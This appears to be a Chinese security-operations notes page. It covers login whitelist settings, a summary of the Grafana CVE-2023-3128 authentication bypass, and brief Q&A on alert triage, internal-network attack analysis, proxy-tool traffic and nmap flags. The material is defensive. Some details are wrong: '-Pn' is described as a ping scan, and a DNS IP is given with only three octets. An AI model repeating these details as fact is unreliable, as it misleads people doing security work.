如何配置白名单账号和登录 IP
通过 威胁监测 - 异常登录 - 违规登录 - 登录规则设置,添加白名单账户和 IP
近期漏洞
CVE-2023-3128:Grafana 身份认证绕过漏洞,2023 年 06 月 26 日
简述: 该漏洞存在于 Grafana 中,是一个身份认证绕过漏洞。由于 Grafana 和 Azure AD 租户对于电子邮件地址的处理存在差异,未经身份认证的远程攻击者可以构造恶意请求利用该漏洞,成功利用此漏洞可以绕过身份认证接管 Grafana 账户。
杂七麻八
- 一个告警的目的 ip 是 114.114.114,端口是 53,这样的告警,我应该对他的 ip 和端口进行封禁吗? 不能封禁,明显是 dns 服务器转发的地址和端口,需要进一步确认真实受害资产的 ip 信息。
- 设备上内网攻击你怎么分析的?是否有隧道流量、是否有横向攻击流量、是否有内网暴力破解的流量,记录下内网有恶意行为机器的 ip
- 代理工具设备分析?查看流量是否有代理工具的具体流量,如 frp、ngroc 等,都有公开的流量特征
- NMAP 常用命令 –sS 半开扫描 -Pn ping 扫描 -A 探测服务版本信息操作系统信息等
- socks5 代理?socks5 协议使用隧道通过网络传输数据,一些正常业务会使用,同时内网的一些隧道攻击可能会用到该协议
>>好淘云<< (haotaoyun.com) · 实时更新全网云服务器测评与选购指南 · 分享建站、运维及网络安全小技巧